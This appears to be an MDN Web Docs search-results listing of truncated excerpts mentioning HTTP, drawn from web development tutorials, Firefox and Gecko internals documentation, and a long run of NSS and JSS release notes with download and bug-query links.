...le> multiply mix <div class="multiply-mix"> </div> <div> </div> </article> here's the css we'll style this with: article { width: 280px; height: 180px; margin: 10px; position: relative; display: inline-block; } div { width: 250px; height: 130px; padding: 10px; margin: 10px; } article div:first-child { position: absolute; top: 10px; left: 0; background: url(https://mdn.mozillademos.org/files/13090/colorful-heart.png) no-repeat center 20px; background-color: green; } article div:last-child { background-color: purple; position: absolute; bottom: -10px; right: 0; z-index: -1; } .multiply-mix { mix-blend-mode: multiply; } this gives us the following results: you can see here that the multiply mix blend has blended together not only the tw...
Practical positioning examples - Learn web development
in addition, so-called "single page apps" are becoming very popular — especially for mobile web uis — because having everything served as a single file cuts down on the number of http requests required to view all the content, thereby improving performance.
... note: some web developers take things even further, only having one page of information loaded at once, and dynamically changing the information shown using a javascript feature such as xmlhttprequest.
What are browser developer tools? - Learn web development
this will give you a window like the following: to see what happens, try entering the following snippets of code into the console one by one (and then pressing enter): alert('hello!'); document.queryselector('html').style.backgroundcolor = 'purple'; const mywordmark = document.createelement('img'); mywordmark.setattribute('src','https://blog.mozilla.org/press/wp-content/themes/onemozilla/img/mozilla-wordmark.png'); document.queryselector('h1').appendchild(mywordmark); now try entering the following incorrect versions of the code and see what you get.
... alert('hello!); document.cheeseselector('html').style.backgroundcolor = 'purple'; const mywordmark = document.createelement('img'); mybanana.setattribute('src','https://blog.mozilla.org/press/wp-content/themes/onemozilla/img/mozilla-wordmark.png'); document.queryselector('h1').appendchild(mywordmark); you'll start to see the kind of errors that the browser returns.
Basic native form controls - Learn web development
at an https:// ...
... so for example when you click on the image at coordinate (123, 456) and it submits via the get method, you'll see the values appended to the url as follows: http://foo.com?pos.x=123&pos.y=456 this is a very convenient way to build a "hot map".
Debugging HTML - Learn web development
let's look at an example: <a href="https://www.mozilla.org/>link to mozilla homepage</a> </ul> let's review the problems: the paragraph and list item elements have no closing tags.
...the line numbers point to the last few lines of the file, and this error message comes with a line of code that points out an example of an open element: example: <a href="https://www.mozilla.org/>link to mozilla homepage</a> ↩ </ul>↩ </body>↩</html> note: an attribute missing a closing quote can result in an open element because the rest of the document is interpreted as the attribute's content.
Adding vector graphics to the Web - Learn web development
more advanced svg features include <fecolormatrix> (transform colors using a transformation matrix,) <animate> (animate parts of your vector graphic,) and <mask> (apply a mask over the top of your image.) as a simple example, the following code creates a circle and a rectangle: <svg version="1.1" baseprofile="full" width="300" height="200" xmlns="http://www.w3.org/2000/svg"> <rect width="100%" height="100%" fill="black" /> <circle cx="150" cy="100" r="90" fill="blue" /> </svg> this creates the following output: from the example above, you may get the impression that svg is easy to handcode.
...make sure your svg code snippet begins and ends with the <svg></svg> tags (don't include anything outside those.) here's a very simple example of what you might paste into your document: <svg width="300" height="200"> <rect width="100%" height="100%" fill="green" /> </svg> pros putting your svg inline saves an http request, and therefore can reduce a bit your loading time.
Manipulating documents - Learn web development
the html source code looks like this: <!doctype html> <html> <head> <meta charset="utf-8"> <title>simple dom example</title> </head> <body> <section> <img src="dinosaur.png" alt="a red tyrannosaurus rex: a two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth."> <p>here we will add a link to the <a href="https://www.mozilla.org/">mozilla homepage</a></p> </section> </body> </html> the dom on the other hand looks like this: note: this dom tree diagram was created using ian hickson's live dom viewer.
...add the following line, again at the bottom: link.href = 'https://developer.mozilla.org'; note that, as with many things in javascript, there are many ways to select an element and store a reference to it in a variable.
HTML performance features - Learn web development
elements & attributes impacting performance the <picture> element the <video> element the <source> element the <img> srcset attribute responsive images preloading content with rel="preload" - (https://w3c.github.io/preload/ ) async / defer attributes <iframe> <object> <script> rel attribute conclusion previous overview: performance next in this module the "why" of web performance what is web performance?
... html performance features css performance features fonts and performance mobile performance focusing on performance see also the <picture> element the <video> element the <source> element the <img> srcset attribute responsive images preloading content with rel="preload" - (https://w3c.github.io/preload/ ) ...
Getting started with Ember - Learn web development
starting the development server you may start the app in development mode by typing the following command in your terminal, while inside the todomvc directory: ember server this should give you an output similar to the following: build successful (190ms) – serving on http://localhost:4200/ slowest nodes (totaltime >= 5%) | total (avg) -----------------------------------------+----------- broccolimergetrees (17) | 35ms (2 ms) package /assets/vendor.js (1) | 13ms concat: vendor styles/assets/vend...
... (1) | 12ms the development server launches at http://localhost:4200, which you can visit in your browser to check out what your work looks like so far.
Introduction to automated testing - Learn web development
in the next screen, type in the url of a page you want to test (use http://mdn.github.io/learning-area/javascript/building-blocks/events/show-video-box-fixed.html, for example), then choose a browser/os combination you want to test by using the different buttons and lists.
...give it the following contents: const request = require("request"); let bsuser = "browserstack_username"; let bskey = "browserstack_access_key"; let baseurl = "https://" + bsuser + ":" + bskey + "@www.browserstack.com/automate/"; function getplandetails(){ request({uri: baseurl + "plan.json"}, function(err, res, body){ console.log(json.parse(body)); }); /* response: { automate_plan: <string>, parallel_sessions_running: <int>, team_parallel_sessions_max_allowed: <int>, parallel_sessions_max_allowed: <in...
Introducing a complete toolchain - Learn web development
to get hold of the code files, visit https://github.com/remy/mdn-will-it-miss and download and unzip the contents of this repo onto your local drive somewhere.
... to start parcel off in the background, go to your terminal and run the following command: npx parcel src/index.html you should see an output like this (once the dependencies have been installed): server running at http://localhost:1234 ✨ built in 129ms.
CSUN Firefox Materials
" - alan cantor, cantor access consulting (http://www.cantoraccess.com) firefox includes keyboard access to all of its amazing features: find as you type allows for quick navigation to links and text searching without opening a separate dialog -- this allows more convenient use by screen magnification users because there is a single point of regard for the search.
...for more information general information: http://www.mozilla.com/firefox/ online support and community forums are located: http://forums.mozillazine.org/ accessibility compliance statement (section 508): http://www.mozilla.com/firefox/vpat.html ...
Mozilla’s UAAG evaluation report
here are all the "hidden prefs" lines that can be added to the user's prefs.js file, for controlling popup behavior: turn window.open off for particular sites: user_pref("capability.policy.popupsites.sites", "http://www.annoyingsite1.com http://www.popupsite2.com"); user_pref("capability.policy.popupsites.windowinternal.open", "noaccess"); or turn it off everywhere: user_pref("capability.policy.default.windowinternal.open", "noaccess"); override popping up new windows on target=anything: user_pref("browser.target_new_blocked", true); override popup windows at beginning of n...
...note that the size might be discovered for certain resources using http head.
Debugging update problems
you can do this using the live http headers addon to determine the url of the update request.
... that url might look something like: https://aus3.mozilla.org/update/3/firefox/12.0a1/20120106040225/darwin_x86_64-gcc3-u-i386-x86_64-shark/nightly-profiling/darwin%2010.8.0/default/default/update.xml?force=1 you can then request this url manually to see what's inside.
Debugging on Windows
debugging tinderbox builds see running windows debug builds problems loading debug symbols if both your application and visual c++ hang shortly after launching the application under the debugger, you may be hitting a known deadlock in the way visual studio downloads debug symbols for the system libraries; see https://connect.microsoft.com/visualstudio/feedback/details/422970/hang-loading-rasapi32-pdb-when-using-symbol-server.
... in a command window, run symchk.exe /r c:\windows\syswow64\ /s "srv*<your cache symbols directory>\microsoftpublicsymbols*http://msdl.microsoft.com/download/symbols" note the "\microsoftpublicsymbols" appended to the cache directory configured in visual studio.
Simple Instantbird build
get the latest source code from mozilla's comm-central mercurial code repository: hg clone http://hg.mozilla.org/comm-central then, get all the repositories it depends on.
... building purplexpcom and libpurple first download the purplexpcom code: hg clone http://hg.mozilla.org/users/florian_queze.net/purple mozilla/extensions/purple if you've set up your build environment as above, then all you need to do is: echo 'ac_add_options --enable-extensions=purple' >> .mozconfig in the comm-central directory, or just add the ac_add_options --enable-extensions=purple line to your .mozconfig with your favorite editor.
SVG Guidelines
however, there are some utilities that cover parts of this document: mostly complete command line tool: https://github.com/svg/svgo alternatives to svgo: https://github.com/razrfalcon/svgcleaner https://github.com/scour-project/scour gui for command line tool (use with "prettify code" and "remove <title>" options on): https://jakearchibald.github.io/svgomg/ good alternative to svgo/svgomg: https://petercollingridge.appspot.com/svg-editor fixes the excessive number precision: https://si...
...mon.html5.org/tools/js/svg-optimizer/ converts inline styles to svg attributes: https://www.w3.org/wiki/svgtidy raphaeljs has a couple of utilities that may be useful: raphael.js ...
HTML parser threading
normal (non-speculative) parsing initially, dodataavailable performs character encoding sniffing on the data if an encoding wasn't declared on the enclosing protocol (http) level.
...when the executor acts on speculative loads, it starts speculative http fetches for images (including video poster frames), style sheets and scripts.
Gecko's "Almost Standards" Mode
types that will trigger "almost standards" mode are those which contain: the public identifier "-//w3c//dtd xhtml 1.0 transitional//en" the public identifier "-//w3c//dtd xhtml 1.0 frameset//en" the public identifier "-//w3c//dtd html 4.01 transitional//en", with a system identifier the public identifier "-//w3c//dtd html 4.01 frameset//en", with a system identifier the ibm system doctype "http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd" a complete doctype contains a public identifier and a system identifier.
...for example, consider the following doctype: <!doctype html public "-//w3c//dtd html 4.01 transitional//en" "http://www.w3.org/tr/html4/loose.dtd"> the parts are as follows: public identifier: "-//w3c//dtd html 4.01 transitional//en" system identifier: "http://www.w3.org/tr/html4/loose.dtd" thus any html 4.01 transitional or frameset doctype with a uri (system identifier) will trigger "almost standards" mode, as will any xhtml 1.0 transitional or frameset doctype, with or without the uri.
How Mozilla determines MIME Types
http for http uris mozilla usually gets a mime type sent from the server, and uses it.
... ftp like http uris without a mime type, ftp uris go through the unknown decoder.
How to get a stacktrace with WinDbg
you can find the latest trunk nightly builds under http://ftp.mozilla.org/pub/mozilla.o.../latest-trunk/.
...(more details are available at using the mozilla symbol server.) .sympath srv*c:\symbols*http://symbols.mozilla.org/firefox;srv*c:\symbols*http://msdl.microsoft.com/download/symbols .symfix+ c:\symbols .reload /f now wait for the symbols to download.
IPDL Best Practices
reference counting protocol actors is tricky here is the easiest way to get it right the first time (lessons learned from the http channel and geolocation protocols): allocpprotocol calls addref deallocpprotocol calls release this ensures that the actor will not disappear from under ipdl, and that you won't get bizarre crashes at other times if ipdl deletes the protocol tree.
... use a flag and the generated actordestroy function to control when ipdl functions can be called; see phttpchannelparent/child for an example.
Implementing Download Resuming
the necko implementations of http 1.1 (rfc 2616) as well as ftp support this feature.
...the server is not using http 1.1), then accessing this attribute will throw an ns_error_not_resumable exception.
CustomizableUI.jsm
customizableui.createwidget({ id: 'navigator-throbber', //id in cui.jsm // should match id of that in dom (line #11) type: 'custom', defaultarea: customizableui.area_navbar, onbuild: function(adocument) { var toolbaritem = adocument.createelementns('http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul', 'toolbaritem'); var image = adocument.createelementns('http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul', 'image'); image.setattribute('src', 'chrome://branding/content/icon16.png'); var props = { id: 'navigator-throbber', //id in dom // should match id of that in cui.jsm (line #2) ...
...it can be found summarized at this gist: https://gist.github.com/noitidart/10902477 ...
FxAccountsOAuthClient.jsm
example: "https://oauth.accounts.firefox.com/v1" content_uri - the fxa content server uri.
... example: "https://accounts.firefox.com" [optional] scope - a colon-separated list of scopes that the user has authorized.
JNI.jsm
}; var geckoappshell = jni.loadclass(my_jenv, fullyqualifiednameofclass(sig.geckoappshell), { static_methods: [ { name: 'getcontext', sig: '()' + sig.context }] }); var context = jni.loadclass(my_jenv, fullyqualifiednameofclass(sig.context), { methods: [ { /* http://developer.android.com/reference/android/content/context.html#getsystemservice%28java.lang.class%3ct%3e%29 * public abstract object getsystemservice (string name) */ name: 'getsystemservice', sig: genmethodsig([ sig.string // name ], sig.object // return ...
... ) }], static_fields: [ { name: 'window_service', sig: sig.string } // http://developer.android.com/reference/android/content/context.html#window_service // public static final string window_service ] }); var windowmanager = jni.loadclass(my_jenv, fullyqualifiednameofclass(sig.windowmanager), { methods: [ { name: 'addview', sig: '(' + sig.view + sig.viewgroup_layoutparams + ')' + sig.void }, { name: 'removeview', sig: '(' + sig.view + ')' + sig.void }] }); var acontext = geckoappshell.getcontext(); var wm = acontext.getsys...
OS.File for the main thread
var img = new image(); img.onload = function() { var canvas = document.createelementns('http://www.w3.org/1999/xhtml', 'canvas'); canvas.width = img.naturalwidth; canvas.height = img.naturalheight; var ctx = canvas.getcontext('2d'); ctx.drawimage(img, 0, 0); (canvas.toblobhd || canvas.toblob).call(canvas, function(b) { var r = cc['@mozilla.org/files/filereader;1'].createinstance(ci.nsidomfilereader); //new filereader(); r.onloadend = function() { ...
...uccessfully saved image to disk'); }, function(areason) { console.log('writeatomic failed for reason:', areason); } ); }; r.readasarraybuffer(b); }, 'image/png'); }; //var path = os.path.tofileuri(os.path.join(os.contants.path.desktopdir, 'my.png')); //do it like this for images on disk var path = 'https://mozorg.cdn.mozilla.net/media/img/firefox/channel/toggler-beta.png?2013-06'; //do like this for images online img.src = path; example: append to file this example shows how to use open, write, and close to append to a file.
Examples
les/promise.jsm"); var mypromise = myuserdefinedpromise(); mypromise.then( function(asuccessreason) { alert('mypromise was succesful and reason was = "' + asuccessreason + '"'); }, function(arejectreason) { alert('mypromise failed for reason = "' + uneval(arejectreason) + '"'); } ); function myuserdefinedpromise() { try { var mysubpromises = []; var imagepaths = ['http://www.mozilla.org/media/img/firefox/favicon.png', 'https://developer.cdn.mozilla.net/media/redesign/img/favicon32.png']; [].foreach.call(imagepaths, function(path) { let myimage = new image(); let loadthisimagepromise = promise.defer(); mysubpromises.push(loadthisimagepromise.promise); myimage.onload = function() { loadthisimagepromise.resolve('succesfully load...
...change this line: var imagepaths = ['http://www.mozilla.org/media/img/firefox/favicon.png', 'https://developer.cdn.mozilla.net/media/redesign/img/favicon32.png']; change it to: var imagepaths = ['http://www.mozilla.org/media/img/firefox/favicon.png', 'https://developer.cdn.mozilla.net/media/redesign/img/favicon32.png', 'blah blah']; i added 'blah blah' to that array, it will cuase the whole promise to reject.
JavaScript code modules
http.jsm a wrapper for xmlhttprequest that provides convenient and simplified api for dealing with http requests.
... webrequest.jsm provides an api to add event listeners for the various stages of making an http request.
Localization content best practices
# see: http://developer.mozilla.org/en/docs/localization_and_plurals # #1 is the number of cookies to delete # example: delete-cookies = delete #1 cookie;delete #1 cookies important: always include the localization note with this format if you use a plural form in firefox.
... avoid unnecessary complexity in strings consider this string: privacy-link = <p>by proceeding you accept the <a href="https://www.mozilla.org/privacy" class="external">privacy terms</a>.</p> in this case, you shouldn't put the url inside the localization string, unless you need it to be localizable.
Localizing with Mozilla Translator
frenchmozilla has just [http://groups.google.es/group/mozill...eaf9f1322fa2fb announced] they are providing an en-us only mercurial repository comprising both mozilla-central and comm-central.
...thanks to alexandru szasz, from narro, [http://groups.google.com/group/mozil...bbffa5402ec819 for this inspiration].
Mozilla DOM Hacking Guide
there are two other similar macros: #define dom_classinfo_map_begin_no_primary_interface(_class) _dom_classinfo_map_begin(_class, nsnull, pr_true) this macro is used if the dom class (for example xmlhttprequest) does not have any interface, yet you want the xmlhttprequest object to be available from javascript.
...however a common technique is to do window.location = "http://mozilla.org" instead of the correct window.location.href = "http://mozilla.org".
Profiling with the Firefox Profiler
the (now obsolete) profiler add-on repository can be found here: https://github.com/firefox-devtools/gecko-profiler-addon.
... the profiler.firefox.com code and issue repository can be found here: https://github.com/firefox-devtools/profiler/.
McCoy
however, there are several external and unofficial tools which enable signing from command line: uhura - part of the mxtools package from softlights http://www.softlights.net/projects/mxtools/uhura.html signontheline - an extension to mccoy - important: you have to checkout rev 222, later revisions are not working in mccoy!
... https://fireclipse.svn.sourceforge.net/svnroot/fireclipse/trunk/fireclipseextensions/chromebug/mccoy/signontheline/ bug 396525 - patch to mccoy https://bugzilla.mozilla.org/show_bug.cgi?id=396525 signing update manifests before you release your add-on in order to verify the update manifests applications need to already have information from you for how to verify it.
NSPR release procedure
the host ftp.mozilla.org can be accessed via the ftp, http, and https protocols.
... we recommend using https://ftp.mozilla.org/.
Getting Started With NSS
you are welcome to download the samples via: hg clone https://hg.mozilla.org/projects/nss; cd nss; hg update samples_branch how to contribute ...
... code review http://phabricator.services.mozilla.com/ is our code review tool, which uses your bugzilla account.
JSS FAQ
MozillaProjectsNSSJSSJSS FAQ
jss example code is essentially developer test code; with that understanding, the best directory to look for sample code is in the org/mozilla/jss/tests directory: http://lxr.mozilla.org/mozilla/source/security/jss/org/mozilla/jss/tests org/mozilla/jss/tests/closedbs.java org/mozilla/jss/tests/keyfactorytest.java org/mozilla/jss/tests/digesttest.java org/mozilla/jss/tests/jcasigtest.java org/mozilla/jss/tests/keywrapping.java org/mozilla/jss/tests/listcerts.java org/mozilla/jss/tests/pk10gen.java org/mozilla/jss/test...
... check http://lxr.mozilla.org/mozilla/source/security/jss/org/mozilla/jss/ssl/sslsocket.java#730 how can i debug my ssl connection?
JSS
MozillaProjectsNSSJSS
jss source should now be checked out from the github: git clone git@github.com:dogtagpki/jss.git -- or -- git clone https://github.com/dogtagpki/jss.git all future upstream enquiries to jss should now use the pagure issue tracker system: https://pagure.io/jss/issues documentation regarding the jss project should now be viewed at: http://www.dogtagpki.org/wiki/jss note: as much of the jss documentation is sorely out-of-date, updated information will be a work in progress, and many portions of any legacy documentation will be re-written over the course of time.
... legacy jss information can still be found at: source: https://hg.mozilla.org/projects/jss issues: https://bugzilla.mozilla.org/buglist.cgi?product=jss wiki: /docs/mozilla/projects/nss/jss network security services for java (jss) is a java interface to nss.
JSS 4.4.0 Release Notes
jss 4.4.0 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/jss/releases/jss_4_4_0_rtm/src/ new in jss 4.40 new functionality new functions new macros notable changes in jss 4.40 picks up work done downstream for fedora and rhel and used by various linux distributions with includes:.
... bugs fixed in jss 4.4.0 this bugzilla query returns all the bugs fixed in nss 4.4.0: https://bugzilla.mozilla.org/buglist.cgi?product=jss&target_milestone=4.4&target_milestone=4.4&bug_status=resolved&resolution=fixed documentation build instructions for jss at https://hg.mozilla.org/projects/jss/file/tip/readme platform information you can check out the source from mercurial via hg clone -r 055aa3ce8a61 https://hg.mozilla.org/projects/jss jss 4.4.0 works with openjdk versions 1.7 or higher we suggest the latest - openjdk 1.8.
NSS 3.12.9 release notes
nss 3.12.9 source distribution is also available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3.12.9_rtm/src/.
...nspr 4.8.7 binary distributions are in https://ftp.mozilla.org/pub/mozilla.org/nspr/releases/v4.8.7/.
NSS 3.14.4 release notes
nss 3.14.4 source distributions are also available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_14_4_rtm/src/ security advisories the following security-relevant bugs have been resolved in nss 3.14.4.
... bugs fixed in nss 3.14.4 https://bugzilla.mozilla.org/buglist.cgi?bug_id=894370%2c832942%2c863947&bug_id_type=anyexact&list_id=8338081&resolution=fixed&classification=components&query_format=advanced&product=nss compatibility nss 3.14.4 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.14.5 release notes
nss 3.14.5 source distributions are also available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_14_5_rtm/src/ security advisories the following security-relevant bugs have been resolved in nss 3.14.5.
... bugs fixed in nss 3.14.5 https://bugzilla.mozilla.org/buglist.cgi?bug_id=934016&bug_id_type=anyexact&resolution=fixed&classification=components&query_format=advanced&product=nss compatibility nss 3.14.5 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.15.1 release notes
distribution information nss 3.15.1 source distributions are also available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_15_1_rtm/src/ new in nss 3.15.1 new functionality tls 1.2: tls 1.2 (rfc 5246) is supported.
... bugs fixed in nss 3.15.1 https://bugzilla.mozilla.org/buglist.cgi?list_id=5689256;resolution=fixed;classification=components;query_format=advanced;target_milestone=3.15.1;product=nss compatibility nss 3.15.1 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.15.2 release notes
distribution information nss 3.15.2 source distributions are also available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_15_2_rtm/src/ security advisories the following security-relevant bugs have been resolved in nss 3.15.2.
... a complete list of all bugs resolved in this release can be obtained at https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&target_milestone=3.15.2&product=nss&list_id=7982238 compatibility nss 3.15.2 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.15.3.1 release notes
nss 3.15.3.1 source distributions are also available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_15_3_1_rtm/src/ security advisories the following security-relevant bugs have been resolved in nss 3.15.3.1.
...bugs fixed in nss 3.15.3.1 bug 946351 - misissued google certificates from dcssi a complete list of all bugs resolved in this release can be obtained at https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&target_milestone=3.15.3.1&product=nss compatibility nss 3.15.3.1 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.15.3 release notes
nss 3.15.3 source distributions are also available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_15_3_rtm/src/ security advisories the following security-relevant bugs have been resolved in nss 3.15.3.
...bugs fixed in nss 3.15.3 bug 850478 - list rc4_128 cipher suites after aes_128 cipher suites bug 919677 - don't advertise tls 1.2-only ciphersuites in a tls 1.1 clienthello a complete list of all bugs resolved in this release can be obtained at https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&target_milestone=3.15.3&product=nss compatibility nss 3.15.3 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.15.5 release notes
nss 3.15.5 source distributions are also available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_15_5_rtm/src/ new in nss 3.15.5 new functionality added support for the tls application layer protocol negotiation (alpn) extension.
... bugs fixed in nss 3.15.5 a complete list of all bugs resolved in this release can be obtained at https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&target_milestone=3.15.5&product=nss compatibility nss 3.15.5 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.15 release notes
nss 3.15 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_15_rtm/src/ new in nss 3.15 new functionality support for ocsp stapling (rfc 6066, certificate status request) has been added for both client and server sockets.
... bugs fixed in nss 3.15 this bugzilla query returns all the bugs fixed in nss 3.15: https://bugzilla.mozilla.org/buglist.cgi?list_id=6278317&resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.15 ...
NSS 3.16.1 release notes
nss 3.16.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_1_rtm/src/ new in nss 3.16.1 new functionality added the "ecc" flag for modutil to select the module used for elliptic curve cryptography (ecc) operations.
... bugs fixed in nss 3.16.1 this bugzilla query returns all the bugs fixed in nss 3.16.1: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.16.1 ...
NSS 3.16.2 release notes
nss 3.16.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_2_rtm/src/ new in nss 3.16.2 new functionality dtls 1.2 is supported.
... bugs fixed in nss 3.16.2 this bugzilla query returns all the bugs fixed in nss 3.16.2: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.16.2 ...
NSS 3.16.3 release notes
nss 3.16.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_3_rtm/src/ new in nss 3.16.3 this release consists primarily of ca certificate changes as listed below, and fixes an issue with a recently added utility function.
...e:98:71:af turned off websites and code signing trust bits (1024-bit root) cn = netlock expressz (class c) tanusitvanykiado sha1 fingerprint: e3:92:51:2f:0a:cf:f5:05:df:f6:de:06:7f:75:37:e1:65:ea:57:4b turned off websites and code signing trust bits (1024-bit root) bugs fixed in nss 3.16.3 this bugzilla query returns all the bugs fixed in nss 3.16.3: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.16.3 ...
NSS 3.16.4 release notes
nss 3.16.4 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_4_rtm/src/ new in nss 3.16.4 this release consists primarily of ca certificate changes as listed below, and includes a small number of bug fixes.
... bugs fixed in nss 3.16.4 this bugzilla query returns all the bugs fixed in nss 3.16.4: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.16.4 ...
NSS 3.16 release notes
nss 3.16 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_rtm/src/ new in nss 3.16 new functionality supports the linux x32 abi.
... bugs fixed in nss 3.16 this bugzilla query returns all the bugs fixed in nss 3.16: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.16 ...
NSS 3.17.1 release notes
nss 3.17.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_17_1_rtm/src/ security advisories the following security-relevant bugs have been resolved in nss 3.17.1.
... bugs fixed in nss 3.17.1 this bugzilla query returns all the bugs fixed in nss 3.17.1: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.17.1 acknowledgements the nss development team would like to thank antoine delignat-lavaud, security researcher at inria paris in team prosecco, and the advanced threat research team at intel security, who both independently discovered and reported this issue, for ...
NSS 3.17.2 release notes
nss 3.17.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_17_2_rtm/src/ new in nss 3.17.2 new functionality no new functionality is introduced in this release.
... bugs fixed in nss 3.17.2 this bugzilla query returns all the bugs fixed in nss 3.17.2: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.17.2 compatibility nss 3.17.2 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.17.3 release notes
nss 3.17.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_17_3_rtm/src/ new in nss 3.17.3 new functionality support for tls_fallback_scsv has been added to the ssltap and tstclnt utilities.
... - r4 sha1 fingerprint: 69:69:56:2e:40:80:f4:24:a1:e7:19:9f:14:ba:f3:ee:58:ab:6a:bb cn = globalsign ecc root ca - r5 sha1 fingerprint: 1f:24:c6:30:cd:a4:18:ef:20:69:ff:ad:4f:dd:5f:46:3a:1b:69:aa the version number of the updated root ca list has been set to 2.2 bugs fixed in nss 3.17.3 this bugzilla query returns all the bugs fixed in nss 3.17.3: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.17.3 compatibility nss 3.17.3 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.17.4 release notes
nss 3.17.4 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_17_4_rtm/src/ new in nss 3.17.4 new functionality no new functionality is introduced in this release.
... bugs fixed in nss 3.17.4 this bugzilla query returns all the bugs fixed in nss 3.17.4: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.17.4 compatibility nss 3.17.4 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.17 release notes
nss 3.17 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_17_rtm/src/ new in nss 3.17 new functionality when using ecdhe, the tls server code may be configured to generate a fresh ephemeral ecdh key for each handshake, by setting the ssl_reuse_server_ecdhe_key socket option to pr_false.
... bugs fixed in nss 3.17 this bugzilla query returns all the bugs fixed in nss 3.17: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.17 ...
NSS 3.18.1 release notes
nss 3.18.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_18_1_rtm/src/ new in nss 3.18.1 no new functionality is introduced in this release.
... cn=mcsholding test, o=mcsholding, c=eg sha1 fingerprint: e1:f3:59:1e:76:98:65:c4:e4:47:ac:c3:7e:af:c9:e2:bf:e4:c5:76 the version number of the updated root ca list has been set to 2.4 bugs fixed in nss 3.18.1 this bugzilla query returns all the bugs fixed in nss 3.18.1: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.18.1 compatibility nss 3.18.1 shared libraries are backward compatible with all older nss 3.18 shared libraries.
NSS 3.18 release notes
nss 3.18 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_18_rtm/src/ new in nss 3.18 new functionality when importing certificates and keys from a pkcs#12 source, it's now possible to override the nicknames, prior to importing them into the nss database, using new api sec_pkcs12decoderrenamecertnicknames.
